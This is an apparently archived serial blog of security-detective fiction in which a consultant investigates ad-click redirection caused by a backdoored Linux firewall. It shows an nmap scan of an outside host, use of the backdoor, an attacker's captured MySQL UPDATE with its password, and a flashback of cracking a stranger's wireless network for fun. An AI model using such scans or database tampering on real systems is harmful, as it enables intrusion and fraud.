They needed to monitor print server logs. I found that they only kept about 24 hours of print logs before the log files were erased. Not good.
They needed better due diligence when it came to employee hires/transfers/terminations. After auditing about three months of HR activity, I found terminated/transfered users that still had access to sensitive systems.
Password policies were not consistent accross systems and applications. Some sensitive applications would accept a one character password! Eek!

Mike followed up with me several weeks later regarding Darla. Apparently Darla’s case was referred to a federal agency who sought her cooperation in nailing her buyer.

Let’s hope they got him.

Source: archived original

11. Case of the Agitated Ad Peddler

Fri, 10 Sep 2004 00:00:00 +0000

Part I · Sep 10, 2004

Two O’clock in the morning, and I wasn’t even close to falling asleep. My eyes were peeled, aimed towards the LCD screen of my trusty Apple Powerbook laptop…

“Ten seconds… 7 seconds… CLICK!” I screamed as I mashed the mouse button down in a fit of pent-up jealousy.

“High Bidder: MadClown007? NOOOOOOOOOOOOOOOOOO” I howled. I had been outbid on the mother of all coffee bean grinders by a frick’in clown.

“It just wasn’t meant to be.” I said as I closed the lid of the powerbook, and watched it instantly go to ‘sleep’ mode.

All of the eBay excitement prompted me to brew up a fresh pot of Starbucks house roast and pretty much write off sleep for the night. I sat down in the living room and stared at the TV screen, longing for sleep to take it’s toll on my over-caffeinated brain.

I gave up on the Discovery channel and cracked open the Powerbook, this time wandering around through email.

“Now that’s interesting…” I said to myself. “Why would this guy be emailing ME?….“It was an e-mail from a sysadmin-type that I had worked with at a company a few years ago. He apparently had escaped from that company unscathed and was pimping himself out as a Unix systems administrator for a local company that was known for selling ad circulation services to various websites - most of them “adult entertainment” sites.

The interesting parts of the e-mail consisted of:

_ …I just don’t get it Chief, somehow someone is changing the destinations of our ad-clicks. There’s only about 90 of us here at the office, and very few of us have access to the database. I’ve checked every log file I could find, and I just don’t see it…

…This is costing us several thousands of dollars a week in lost revenue. Whoever is doing this is sending all our would-be clickers to other sites…

… essentially they are stealing our potentional customers - the eyeballs and mouse clicks that help us pay our bills…

“Fascinating” I said to myself. Glancing through iCal, I noticed that I didn’t have a gig lined up for another week.

The Chief is exhausted, but he’s on the case.

Source: archived original

Part II · Sep 11, 2004

(Aside) Helping companies whose sole purpose in existing is to throw advertising in our faces is a moral dilemma. I thought long and hard before agreeing to accept this case, even though in ‘Part I’ I seemed to have no reservations.

Staying impartial is hard sometimes, especially if you want to keep a steady caseload. Imagine if you were asked by a SPAM-spewing company to come assist them with a security issue. Would you accept the case? For your usual fee? For an increased fee to ease your moral pains?

These type of philosophical arguments aren’t thrown around by many security professionals these days. It would appear that the almighty dollar cures most people of their hesitations.

So why did I accept this case? As a favor to an individual that you’re about to meet. (/Aside)

Read on…I was wiping sleep from my eyes as I drove down the freeway, heading towards my new gig. The sun had been up for a while, but not as long as me. My car was filled with the aroma of freshly brewed Peruvian beans, and my head was full of curiosity - just who decides to redirect ad clicks on the fly? What’s the motive? What’s the method? I had lots of questions (as usual) and little answers.

AddaBill Systems didn’t look like much from the parking lot, but the face of the building was quite deceiving. As I opened the wooden double doors and stepped inside, I was immediately struck by the innovative architecture and technical prowess of the reception area. Large LCD panels occupied the walls. Their screens displayed various web pages, all marred by banner advertising - even flash animations that begged the viewer to “click and win!”

I inhaled deeply as I approached the receptionist, and was immediately struck by an all too familiar aroma. Suits. The placed reeked of corporate Americana.

“Hello! How can I help you?” asked the receptionist as she put three callers on hold with the familiar “Can you hold? Thank you. Can you hold? Thank you…”

“I’m here to see Scrappy.” I said.

“Excuse me? Scrappy?” she said with a blink of heavily-mascara-applied eyes.

“Oh, sorry - Fred. Fred Stoneflint.” I replied and feeling rather embarrassed. “Scrappy” was Fred’s nickname and online moniker.

“One moment please and I’ll page him. Have a seat.” She said as she motioned me to sit down on a very swank purple couch.

I whipped open my PDA and made some notes while waiting for Fred. I briefly brought up Ministumbler to see if any wireless networking goodness was available. One network appeared, with the token 128-bit WEP encryption.

“Bedrock” I mumbled, noticing the ESSID. “How quaint.”

“Yo, Chief!” yelled a familiar voice in my direction.

“Hey Scrappy, I hear you have a small security issue.” I joked as I shook his hand.

“Yeah, you could say that. Let’s go back to my cave and I’ll fill you in.” Scrappy said as he escorted me through a maze of hallways that were all perfectly curved like the letter “S”.

Scrappy’s “cave” was a small office about ten feet from the datacenter door. The datacenter appeared to be badge-access only, along with a palm scanner. Scrappy was up to his usual tricks it would seem.

“This whole situation is just complete dino-poop man.” Scrappy said as he sat down and lit up a cigarette. Apparently AddaBill bucked a lot of trends, including the local building codes.

“As you know, we are an ad-injection service. We keep an inventory of ad products like banners, flash clickers, even those little deceptive ads that look like window popups. All of these ads are stored on ad servers which are basically just web servers. We also have ‘destination databases’ that contain URLs of where certain ads should take the viewers. We can, in some cases, sell the same ad to several different companies or page owners. " Scrappy disclosed as he took another hit off of his cigarette.

“And judging through the webpage source code I looked through before I came over here, you’re simply pointing the click to an ad server, feeding it an ID number of some sort, and the webserver sends the viewer on their way to advertisement for Viagra or adult escort services.” I joked, longing for a cup of joe.

“Exactly. Our business viability relies on the accuracy of our ad redirects, and lately we’ve had some ‘problems’.” Scrappy said, making little quotation marks with his fingers.

“And what exactly are these ‘problems’?” I replied, also making little quotation marks with my fingers.

“Somehow, somebody is modifying the destination databases here at random and sending our viewers to websites in China, Russia, Taiwan… the list is pretty long.” Scrappy moaned as he rubbed his eyes.

Scrappy put out his cigarette, sat up in his chair and looked me directly in the eyes.

“Chief, I got special permission to let you poke around here and try to figure this out. I’ll go over everything that I’ve already tried, and you can take it from there.” Scrappy said as he removed an envelope from his desk drawer and slid it across the table towards me.

“What’s this?” I asked as I picked up the envelope.

“A retainer.” Scrappy spouted with a grin on his face.

The number of zeroes on the check brought a smile to my face.

Time to get busy.

Source: archived original

Part III · Sep 18, 2004

One thing about Scrappy that I always admired was his attention to detail. I spent the past few hours listening to him describe the infrastructure of AddaBill’s network resources, the steps he had followed after the first instance of database modification had occurred, and how he wished that AddaBill would use whole beans in coffee preparation. The mere thought of Scrappy having to drink a strange Kona ground product early in the morning sent shivers down my spine.To recap, AddaBill had a pretty decent internet presence. A master set of servers resided at headquarters that replicated changes out to a farm of web/ad/database servers on both coasts of the United States. Scrappy had planned for disaster recovery and availability from the get-go.

The headquarters network was fed via four T1 connections, each connected to a Cisco router, and then barricaded with a simple linux firewall that Scrappy had hand-crafted himself. What a perfectionist. The ad, web, and database servers were all isolated into their own DMZ segments - separated by another series of linux firewalls.

The remote networks had a very similar configuration - Cisco router and linux firewall between the internet and the segmented DMZ networks.

I wanted to start my investigation at the master database server, and then work my way to the two remote database servers - very similar to what Scrappy had done with his investigation.

AddaBill had a nice out-of-band management network that talked to the servers via a serial terminal server. After authenticating to the terminal server via a SSH session using a key and a password, I was then authorized to initiate a terminal session with the database server.

The database server was running a slightly modified MySQL server daemon - which shocked me, as I remembered Scrappy being a PostgrSQL guy. Hey, it’s open source - what the hell.

I stepped through Scrappy’s list of steps, and verified his findings.

The integrity of the server itself was intact, according to Tripwire. Key binaries matched MD5 signatures, logs were intact, no unauthorized user accounts, etc.

Scrappy took over, and initiated an interactive session with the MySQL daemon. He gave me an idea of how the database was structured, a look at the tables, etc. What I was most interested in was the MySQL configuration files and the user table. A quick glance through the config files revealed nothing interesting. Hmmm. Back to the interactive MySQL session - and stepping through the table row by row.

“Dude, we change passwords every thirty days on the user accounts that the system uses to do queries, inserts, etc. You can see the hashes there in the table… I just don’t get it man.” Scrappy said, his neck twitching a bit - maybe he needed a smoke.

“Um, Scrappy - not to bust your marbles - but is there a reason that your maintenance user “dbmaint” can connect directly from the inside interface of the DMZ firewall?

“Huh?” Scrappy said, pushing me out of the way.

“WHAT THE HELL MAN!!!!” Scrappy yelled, his fists clenched.

Looks like Scrappy missed something.

(Aside)

Scrappy has egg on his face. What did Scrappy do wrong here? How did he miss that? And what is the signifigance of what I found in the MySQL user table?

Drink Coffee.

Discuss.

(/Aside)

Source: archived original

Part IV · Sep 20, 2004

Talk about a long silence.

Scrappy stared at the MySQL prompt like he was waiting for it to do a trick.

“Chief, I swear on a fresh pack of Newports that I looked this table over row by row. No way I could have missed that!” Scrappy whined, placing his forehead on the keyboard.

BEEP! BEEP! BEEP!

“Scrap, get your head off the keyboard man. Look, whether you missed it or not is irrelevant at this point in time. We have a lead, so let’s follow it. Let’s log into that firewall and have a look around.” I said, giving Scrappy a gentle elbow in the side.“I’m guessing you want me to copy this table out somewhere so we can look at it again?” Scrappy asked.

“You read my mind, Scrap.” I said with a smile. A few keystrokes later, Scrappy had the table copied. He spent the next few minutes engulfed in self-pity as he changed the password of the dbmaint user, changed the permissions, and exited the session. Apparently that user was supposed to be used by administrators for maintenance.

A few moments later we were logged into the linux firewall, having a look around. Nothing out of the ordinary was noted. No strange user accounts, nothing of consequence in the logs, shell history files were intact. Strange.

“This makes no sense man - no sense at all.” Scrappy said angrily. “There’s nothing here Chief!”

“How many other admins have access to these boxes again?” I asked, flipping through my notepad.

“Just the other two admins, and I’d trust them with my life man.” Scrappy replied.

“Well, if you’re sure of their integrity, give them a call real quick and make sure they didn’t change that table.” I suggested as I handed Scrappy the phone off of his desk.

While Scrappy was making his phone calls, I continued to poke around on the firewall. Something didn’t feel right - similar to how one feels after a bad meal of Chinese take-out.

“Scrap, I’m going to do further analysis on this firewall - why don’t you log into your web farms and make sure the database servers there haven’t been modified in the same way?” I asked Scrap as he cupped the mouthpiece on his phone.

“Cool - I’m on it.” Scrap said with a renewed sense of purpose. He quickly cleared some papers and empty Coke cans off of a nearby laptop and went to work.

Time passed. I was still poking around in the firewall when I got a confirmation from Scrappy that the web farm didn’t have the same type of modification we had seen here on the HQ network.

“Hmmm, either our gremlin knew he only had to modify this server to get his changes replicated out, or he was completely unaware that the web farm existed.” I thought to myself. Well, it was more of an assumption actually.

The firewall was very basic, and as stated before, could only be managed through a serial connection directly to the box. This would suggest someone with physical access to the box was using it as a jumping off point perhaps?

I was busy talking myself into several different scenarios when a lightbulb suddenly appeared over my monkey-like head.

“I need to plug in to that DMZ switch.” I yelled over to Scrappy.

“You do? Uh, ok - I’ll badge you in.” Scrappy said as we walked to the datacenter door. A quick swipe of his badge and a scan of his hand and Scrappy pushed me through the datacenter door.

“Port 12” Scrappy said as he pointed to the switch.

I quickly plugged my trusty Powerbook into the switch, configured my Ethernet port with a floater management IP provided by Scrappy, and brought up a terminal.app. A few key clicks later and I was performing an nmap scan of the outside interface of the firewall.

Scrappy was on the phone with his girlfriend when I rushed into his cave.

“Dude, what service is listening on port 2929 on that firewall?” I asked.

“Huh? Nothing! That thing firewalls connections, and that’s it. No services are running on that box.” Scrappy responded as he hung up on his girlfriend.

“Any reason that when I telnet to that port I’m greeted with a shell prompt?” I asked.

Scrappy sat motionless.

(Aside)

Uh-oh. Scrappy gets caught with his pants down again.

How am I getting a shell prompt on that port?

What am I really talking to?

Drink more coffee, discuss.

(/Aside)

Source: archived original

Part V · Sep 29, 2004

“What in the wide world of sports is going on here?” blared the TV in Scrappy’s office. He had a DVD of “Blazing Saddles” in the DVD player, and it was quite ironic that I was thinking the exact same thing as I shifted my eyes back to the Apple Powerbook in my lap.

I felt bad for Scrappy - he was a top-notch Unix admin, so this was a big hit to his ego. If I had to hamper a guess, I’d say he was spending too much time with his newly-acquired girlfriend that he met at DefCon a while back. She was very cute, and very smart, but very demanding of Scrap’s time. Can you say “Lack of focus?”

Scrappy was busy in the datacenter running nmap scans of every network device, every server, and every workstation. He was a man on a mission.Back to my investigation, and a wonderful venti white chocolate mocha from Starbucks.

Scrap had done some quick network-jack patching in the datacenter and the phone room so that I could work in the DMZ by plugging my Apple Powerbook into the spare network jack in his office. How convenient.

The mysterious firewall service was bizarre to say the least. No running daemons on the box (verified by running MD5-verified copies of ‘ps’, ’netstat’ to name a few), no logged in users but myself… nothing. But here I was, having a conversation on TCP port 2929.

MonkeyBook:~ chief$ telnet firewall.internal 2929 _Trying 10.1.1.1… Connected to firewall.internal. Escape character is ‘^]’. _ My keystrokes weren’t being echoed back to me.

No output.

What could this be? It almost looks like a … a… webserver?

GET filename HTTP/1.0 _ HTTP/1.0 200 OK Date: Thu, 13 Jun 2002 17:37:53 GMT Connection: r00t3d Content-Type: text/html _ Fascinating! There’s a webserver running on port 2929 on this firewall?

Not quite. Examining the banner, I got quite a chuckle out of the “Connection” screen. Someone was going to a lot of trouble to make this LOOK like a webserver.

“Scrap?” I yelled out the door, hoping he could hear me in the datacenter.

“Yo - almost done man. Looks like we’re clean!” Scrappy replied back.

Scrap walked in the room and planted himself in his chair and reached for a smoke. “Did you find anything?”

“Dude, someone has…”

(Aside)

What has someone done? Explain the output I saw above.

(/Aside)

Source: archived original

Part VI · Oct 1, 2004

(Aside)

First of all, hats off to reader “ut-admin” for nailing the breach. It is indeed, adore - well, adore is half the problem. Second, hats off to UcantBeSerious for finding a very serious clue in the last posting. You all amaze me! Great work.

(/Aside)

And our story continues…

“Dude, someone has left you a present on your firewall.” I said as I kept punching keystrokes into my GLterm window.“What do you mean present?” Scrap said, almost dropping his lit cigarette on his desk.

“This is a smooth backdoor. Whatever application I’m talking to, it’s configured to spew this HTTP response header no matter what. I wonder what happens when I issue a shell command.” I wondered.

My monkey paws quickly hammered in “pwd” , the UNIX command that displays the working directory name.

/root

“Holy moldy French roasted beans!” I thought to myself. I then entered a bunch of garbage commands and received… not to my surprise… that same HTTP banner.

“Let’s try something obvious.” I thought to myself, a slight grin spreading over my face.

#mysql -u dbmaint -p -h 10.1.1.100 Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 2933 to server version: x.0.20

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

mysql>

“Chief, what are you thinking man? WTF? Where is this thing?” Scrappy pleaded with me, putting his cigarette out on the floor. [ed: floor was carpeted. The next two minutes were spent finding glasses of water to put the fire out.].

“LKM Backdoor.” I said as I massaged my temples. “I’d bet a Starbuck’s giftcard on it - and I’m thinking netcat on port 2929 is our doorway.”

“Linux Kernel Module? Netcat? You have to be kidding me. Well, let’s kick it’s ass, get my firewall rebuilt and we can still make it to dinner before 9pm! You can meet my girlfriend!!” Scrap said as he reached for his laptop.

“Wait.” I said.

“What? Let’s do this! Like old times!” Scrap said, his eyes blazing.

“You want to find out who did this, or just clean up their mess and hope it doesn’t happen again?” I asked as I tapped the top of my Powerbook screen.

“Well, the owners just want the ad redirection to stop - that’s why you’re here. But I bet we could set a trap for ’em right before they go to manipulate some bits!” Scrappy said as he stood at attention. This was getting way too dramatic for my tastes.

“I thought you’d say that.” I replied with a grin.

It was on.

Source: archived original

Part VII · Oct 9, 2004

Scrappy looked like a young boy on Christmas morning. He was so excited that we were going to possibly find out who was penetrating his network that he was almost doing a Steve Ballmer-ish monkey dance in the datacenter.

“Let’s go over the plan.” I said as I waved my hands in the air, trying to get Scrappy to calm down.

Scrappy sensed my displeasure at his monkey dance and quickly walked over to the rack of equipment I was standing in front of. “First things first, let’s verify that my monitoring box is working.” I announced as I brought up a serial console to “seeing-eye”, a Sun Ultra 1E box that I had neatly placed in the rack next to the firewall. Seeing-eye was a custom-crafted box that did one thing and did it well: snarfed packets off the wire, analyzed them, stored them, performed some type of action based on the traffic (like send the Chief e-mail alerts on his phone) and be as undetectable as possible.

Scrappy had plugged his laptop in outside of the firewall and proceeded to make a telnet connection to the mysterious service running on tcp/2929.

“Beep!” went the console on Seeing-eye. It logged the connection and Scrap’s request for a mysql session. Around a minute later, my cellphone beeped with a message containing a brief dump of Scrap’s commands.

“Excellent. Now, let’s go get that dinner you promised me.” I told Scrappy as I listened to my stomach perform a musical rendition of “Feed me dammit!”.

Scrap left the office a bit earlier than I did in order to pickup “The Girlfriend[tm]”. He really wanted me to meet this girl. “True love.” I said as I laughed to myself. I pointed the car in the general direction of the restaurant and prepared for massive quantities of ingestible calories.

I arrived at the restaurant in record time thanks to my brain communicating properly with my feet. Apparently there was a cerebral coffee shortage and my brain wasn’t too happy about it.

The restaurant was rather nice - a traditional steakhouse with all the usual trimmings. The host sat me down in a nice booth, decent lighting, and brought my coffee within a few minutes. I liked this place already.

Scrap was taking his time, so I whipped out my Treo and attempted to catch up on my e-mail and web-surfing habits.

I was right in the middle of winning an auction on eBay when a familiar voice reached my ear.

“Hey Chief! Sorry I.. err… we’re late. We had some issues at the gas station.” Scrappy said as he sat down in the booth next to a rather attractive girl.

“Chief, this is Abby. Abby… this is the Chief.” Scrap said as I extended my monkey paw towards her. We were in mid-shake when the caffeine from my coffee stirred up some neurons and I suddenly felt a bit sick in the stomach department.

“Abby… Abby…” I said to myself over and over again, staring at her face and waiting for the neurons in my head to settle down.

The waitress brought us an appetizer, and I politely listened to Scrap and Abby talk about something that I had absolutely no interest in. I started to choke on my crab cake surprise.

“Chief! You OK?” Scrap said as he broke off in mid-sentence from Abby.

I had to do a bit of “Photoshop-ing” in my head, but I knew that Abby was a familiar face. I had met her in Vegas a few years back at Black Hat.

Although when I met her, she was going by the name “DarkAng3l”.

Scrappy, what have you gotten yourself into.

Source: archived original

Part VIII · Oct 16, 2004

“DarkAng3l” was no ordinary chix0r. She made a permanent impression in my memory with a demonstration of her skills at network penetration.

(fade to black, a memory from the Chief’s way back machine…)

I had joined DarkAng3l and a group of friends for some wardriving during BlackHat. The goal was to locate a seemingly valuable (and protected) wireless network, penetrate, record a quick nmap scan and leave. This was ordinarily something I wouldn’t have participated in, but it went back to the old mantra “hero, know thy enemy”. [Note: this was not a sponsored event of BlackHat, but the result of a good beer, dinner, and boredom.]We were driving for a little over twenty minutes when another person in the vehicle got a good reading on a network called “hidden”. Obviously this name was a misnomer.

The network was fairly well protected aside from the SSID being broadcast - a practice that I discourage to all my clients.

A few minutes later we had identified the access point as a Cisco product. DarkAng3l wasn’t saying a thing, simply typing away on her linux-powered HP notebook.

I was peering over the shoulder of the individual who found the network, and saw that a traffic capture was in progress. Apparently this person had come to the conclusion that the WAP was configured with a 64-bit WEP key. Shouldn’t take very long to crack.

We were both startled at that point by a loud click and a sigh. I turned to my left to see DarkAng3l putting her laptop in her bag and handing me a floppy disk.

“What’s this?” I asked as I stared at the label-less media.

“It’s the scan. I win.” She said with a creepy half-smile.

I verified the validity of the key, and the results of the scan by duplicating her efforts on my own linux laptop.

I was impressed with her skills and made it a point to get to know her over the next few days before I was scheduled to leave.

She belonged to (and created) a group named “Dark0n3s” that was going to be a hacker-for-hire company. She, along with two other members, were all very well-trained in the “arts”.

(End of flashback)

“Chief! Dude, wake up! You’re zoning out on us man!” Scrappy said as he waved his chimp paw in front of my face.

“Sorry.” I said as I finished off my coffee. “It’s been a long day.”

(buzzing sound)

My cellphone was vibrating in my pocket. I had received a text message.

“Late for a date Chief?” Scrappy asked.

“You two have fun, I need to go.” I replied as I slapped down a few bills to cover my drinks.

“But Chief you…” Scrappy moaned as he watched me get up from the table.

I wanted badly to tell Scrap why I was leaving, but I was wary of Abby’s presence.

Somebody was connecting to Scrappy’s firewall.

Source: archived original

Part IX · Oct 25, 2004

This case was developing more curves than Anna Nicole before she discovered TrimSpa. I let the details of the case swirl around in my coffee mug of a brain while I was stopped at a redlight. The drive back to my home had given me a good idea or two from time to time.Scrappy had a linux firewall with what appeared to be a linux kernel module backdoor installed. Scrappy was dating a known hax0r (and a rather cute one too, I might add). We have a method and a suspect, but what of a motive? Was Abby the only suspect? Was she using Scrappy for personal gain? What type of gain? What type of connection was there (if any)?

Once home, I cracked open my trusty Powerbook and performed an nslookup on the IP address that had connected to Scrappy’s firewall. Having the entire session sent to my Treo in a few email messages was quite convenient for this type of monitoring.

chimptop:~ chief$ nslookup 210.x.x.x

Server: 192.168.1.254 Address: 192.168.1.254#53

Non-authoritative answer: x.x.x.210.in-addr.arpa name = x.x.x.210.somecompany.co.th

Wonderful - Thailand. This was going nowhere fast. Gee, I wonder if this server is compromised and simply a backdoor for some mischievous folk?

Chimptop:~ chief$ nmap -sS -O -v 210.x.x.x

Host (210.x.x.x) appears to be up … good. Initiating SYN Stealth Scan against (210.x.x.x) Adding open port 8080/tcp Adding open port 21/tcp Adding open port 23/tcp Adding open port 80/tcp The SYN Stealth Scan took 13 seconds to scan 1601 ports. Interesting ports on (210.x.x.x): (The 1588 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 23/tcp open telnet 25/tcp filtered smtp 80/tcp open http 135/tcp filtered loc-srv 136/tcp filtered profile 137/tcp filtered netbios-ns 138/tcp filtered netbios-dgm 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 1720/tcp filtered H.323/Q.931 8080/tcp open http-proxy 27374/tcp open subseven

Remote operating system guess: Windows Millennium Edition (Me), Win 2000, or WinXP

I sighed in boredom. Another Windows machine with a subseven backdoor in use. What a surprise.

The connection was a dead-end, however the command capture was quite interesting:

**mysql -u dbmaint -p -h 10.1.1.100 seckritpasswerd UPDATE sites.destination SET finaldest = “massivechix^H^H^H^Hpr0nsite.com” WHERE origdest = “legitsite.com”; **

Let’s think about this for a second.

Firewall is compromised.
Attacker installs backdoor through an LKM
Attacker places workable mysql client on firewall (and makes no attempt to hide it)
Attacker knows the NEW password to the ‘dbmaint’ account.
Attacker had a type-o in their UPDATE SQL statement…

But what is the significance of the TYPE-O?

Drink Coffee. Discuss. Bonus points to who figures it out first.

Source: archived original

Part X · Oct 30, 2004

(Aside)

My readers constantly amaze me with their abilities to pick out the key parts of a case file that are important and draw some pretty impressive conclusions. As you’re about to read, several of you were right on the money…

(/Aside)

It’s a good thing that decaf coffee doesn’t really mean “without caffeine coffee”. I was determined to stay awake while scribbling in my case notebook. I was using a coffee brewing trick I learned in the military when “real” coffee was scarce. Double-brew the decaf, and say “hello” to wake-up juice. I went back to the basics. I drew a timeline in my notebook of the events so far, indicating the systems involved, the players as I knew it, and drew in “theory” bubbles around certain events. (These are helpful to attach motives to people based on events.)

After staring at the diagram for a while and working my way towards the bottom of the super-decaf pot, I decided that I needed to either eliminate Abby as a suspect, or build the case around her. To do this, I would need to play a bit with Scrappy. (What are friends for?) A plan was formed in my head - and a good plan at that.

I dialed Scrappy’s cell phone.

ring

“Yo! Chief, it’s late man - what’s up? Why did you take off?” Scrap asked in between loud drags off a cigarette.

“We had another connection to the firewall this evening - I think you need to go into the office, change the ‘dbmaint’ password again, and consider changing out the firewall. I don’t think your employer wants to play this game very much longer.” I mumbled into the phone.

“You kidding me? How did they get the new password? We just changed it man! What the f…” Scrap said as I interrupted him.

“Obviously we missed something. Grab your laptop and get over to the office.” I said with an impatient yawn.

“No can do Chief, Abby has my laptop. She dropped hers at her apartment and the screen is crack-o-la. I lent her mine.” Scrap replied with a dramatic cough. “But… wait… I got that Toshi sitting on the bookcase. I guess I could use that one.”

“Hey out of curiosity Scrap - which laptop did you loan her?” I asked - knowing that Scrap has quite a few laptops laying around at Casa De Scrap.

“My SparcBook - you know… the tadpole.” he said matter-of-factly. Interesting.

“Scrap, I want you to grab the old Toshiba Satellite laptop in your office and use it to change all the passwords. Then, I want you to swap out the firewall with the freshly built one under your desk. Ok?” I demanded.

Sometimes Scrap needed a push to do the most obvious things. It drove me nuts.

“Yeah, ok, ok… calm down man. I’m on it.” Scrap said. “So have you found anything yet?”

“Nothing conclusive.” I lied. “And before I forget - why were you guys so late to dinner?”

“Oh, yeah… " Scrap replied with a snort. “Dude, it was soooo wrong. Abby was wanting to check her mail on the tadpole right - so she brings up Netscape and she’s like all happy and stuff because we were down by the University, you know - hotspot central - and she gets right on. She’s totally digging the tadpole, and kind of impressed by how snappy Solaris is on that bad boy. Then she got all pissed because I had some pr0n sites in my browsing history. It got ugly man.”

“Uh, Scrap - you let her use your tadpole logged in as YOU?” I asked as I slapped myself on the forehead.

“Yeah man, it’s not like my girlfriend needs a permanent account on my tadpole.” Scrap responded, reeking of ignorance.

“Scrap, I’m going to meet you at the office. We need to talk.” I said as I looked around for my shoes.

“Uh, ok. About what?” Scrap asked.

“Abby.” I said.

The chess game was in motion once again.

(Discussion)

What have we learned that proves a few readers’ suspicions correct?

Have any of your theories changed? Is Abby still the main suspect?

(/Discussion)

Source: archived original

Part XI · Nov 3, 2004

This case had more twists and turns than my last tax return.

A slight drizzle of rain had started to pour from the clouds overhead as I made my way towards AddaBill. I had diverted myself for a few moments to locate a late-night latte, and was becoming mesmerized by it’s sweet aroma as it filled my car.

I took the last few minutes of my drive to collect my thoughts, and to prepare for my discussion with Scrappy. This wasn’t going to be the most enjoyable moment of my career.I walked to front doors of AddaBill and saw Scrappy standing outside, huddled in a corner and nursing a cigarette.

“Hey Chief - mission accomplished. Password changed, and the new firewall is in place.” Scrap said as he tossed his smoke into a pile of rain water.

“Good work - let’s get out of this rain.” I said as I motioned Scrappy inside.

I took up residence in a chair next to Scrap’s desk and stared at the linux firewall that Scrap had pulled out of the networking rack in the datacenter.

“It’s all yours, Chief. You want to take it with you - or you’re more than welcome to do your magic on it here.” Scrap said with a big toothy grin.

“I’ll take it with me.” I responded, looking over Scrap’s shoulder. “Scrap, I’m a little concerned about your relationship with Abby.”

“Why? She’s really cool. I don’t understand.” Scrap said with a look of concern.

“You’re breaking one of the cardinal rules of security, bud. You’re giving someone else privileged access to your main laptops, which we both know could give her enough information to do a lot of things.” I said without missing a beat.

“I’m not sure I understand where you’re going here, man.” Scrappy said, staring at the ceiling tiles in his office.

“Scrap, you know her background probably better than I do. I’ve met her before - and I’ve seen her in action. She is the definitive ch1x0r.” I pleaded. “Did it ever occur to you that Abby might have something to do with all the weirdness going on with your little database problem?”

“Oh come on man. Are you serious? Abby isn’t like that - you don’t know her like I do. She is legit - she’s a security consultant now, ya know.” Scrap said with a hint of pride. “She’s not involved.”

“Then you won’t mind if I ask to look over your Tadpole?” I asked, looking Scrap straight in the eyes. “I need that laptop.”

“Hey, that shouldn’t be a problem Chief. She should be here any minute. I wasn’t about to let her keep my ‘pole over night - how am I supposed to get any work done?” Scrappy said with a laugh.

One half-hour later, Abby arrived with the Tadpole under her arm. Abby gave me a rather strange look, handed the laptop to Scrap, gave him a kiss on the cheek and hurried out the door.

“What’s her deal? I didn’t even get a ‘hi’!” I cracked.

“She’s flying to Atlanta tomorrow, or maybe it’s Miami… I forgot. Anyway, she probably wants a good night sleep or something.” Scrap said as he handed me the Tadpole.

“I need to take the Tadpole with me too - you’re going to have to make due with the Toshiba until tomorrow evening.” I said as I placed the linux firewall under my other arm and made my way to the door.

“Chief! Come on man, can’t we do that tomorrow?” Scrap whined.

“Dude, you live in a world of console prompts. Use the Toshiba. Pine works just as well on that box.” I joked as I walked down the hallway.

‘You’re killing me, Chief!” Scrap yelled from his office.

The feeling was mutual.

Source: archived original

Part XII · Nov 11, 2004

The rain was pouring from the heavens faster than Oprah eating at a dessert bar. There I was, sitting in my car outside of my house, watching millions of gallons of water coming from the skies. I was debating whether to leave the linux firewall and tadpole laptop in the trunk of my car and make a run for the house, or brave the storm and move the equipment into the house. Decisions… decisions…I made a compromise with myself - I made a run for the house, and came back to the car with my trusty JumboBrella. I remotely opened the trunk, grabbed the gear with one hand and ran for the house. As luck would have it, I made it through the front door - but the tadpole didn’t. I was four paces from the front door when I felt the tadpole slipping out of my grip. Before I could compensate for it’s gradual descent towards the ground with my knee, the tadpole had made a beeline for the nearest half-foot deep puddle of water with a suicidal flip from the back of my arm.

Dammit.

What an amateur mistake. I ran outside, plucked the laptop from it’s watery grave and ran back to the house. My clothes were soaking wet, and I hadn’t even started a fresh pot of coffee to warm myself up. It just wasn’t right!

A quick change of clothes later, I inspected the tadpole - now hanging from a clothesline in my office like a pair of worn-out boxer shorts. Water was dripping at a regular pace from every nook and cranny. Not good. My only saving grace was that I had removed the battery from the laptop in the car before I had left Addabill. Well, I really didn’t have a choice because Scrap had broken the case holding the battery in. Nice.

I set up a blower fan, pointed it at the tadpole, crossed myself and wished the tadpole the best. I hope the hard drive had survived. Thank goodness they are self-contained.

I turned my attention to the linux firewall.

“What secrets do you have in store for me, my little friend?” I asked it, almost expecting a verbal response. I popped the cover off of the firewall (Scrap wasn’t big on using screws on anything - what gives?) and located the IDE hard drive. I snapped a few reference pictures with my trusty Olympus digital camera and proceeded to disconnect the IDE drive and attach it to my good friend Roscoe.

(For those of you that haven’t read all my case files - Roscoe is my portable forensic workstation.)

Double-checking that my write-blocker was installed on the IDE chain, I began the imaging process and wandered off to the kitchen to brew some go-go juice.

A few hours later, the laptop was still dripping and my imaging process had nearly finished.

BEEP

A friendly console prompt was staring me in the face - I had a nice image of the root ( / ) filesystem of the drive and an image of the SWAP partition. Sweet.

I quickly mounted the root partition as a read-only filesystem using the nifty loopback device, and attempted to have a look around the filesystem.

roscoe$ cd /mnt/firewall roscoe$ ls -la total 0 drwxr-xr-x 3 chief chief 102 11 Oct 12:02 . drwx—— 35 chief chief 1190 11 Oct 10:38 ..

roscoe$

What the…

Did I goof? Did I not image the drive properly? I quickly checked the cables, the write blocker… my dd command… everything was perfect. There was nothing on that filesystem.

And if there was, I suspected it had been deleted or formated.

My patience had worn thin.

I picked up my cellphone and dialed Scrap’s number.

ring ring ring ring ring

No answer.

He had some explaining to do.

Source: archived original

Part XIII · Nov 13, 2004

I was losing my mind. I was trying very hard not to let my friendship with Scrap interfere with my work, but it was beginning to take it’s toll. I was frustrated at the challenges that were being thrown at me left and right (and even more so - the ones I was creating, like the wet tadpole laptop).

I picked up my land line and called Scrap’s apartment. If he was screening his calls, he wouldn’t know this was me because my land line was blocked - no caller ID.ring ring

“Hello?” said Scrap, sounding mildly distracted.

“Scrap, what’s going on?” I asked in a most annoyed tone.

“Heh?” Scrap responded.

“I just imaged this firewall, and the drive partitions are blank - empty. How might this have happened?” I asked.

“What do you mean they are blank? I pulled that out of the rack, sat it on the floor and swapped the other firewall in. I didn’t touch that thing!” Scrap fired back.

“I want you to come over here right now.” I demanded. “I want you to eyeball this thing.”

“Alright - give me a sec.” Scrap said as he hung up the phone.

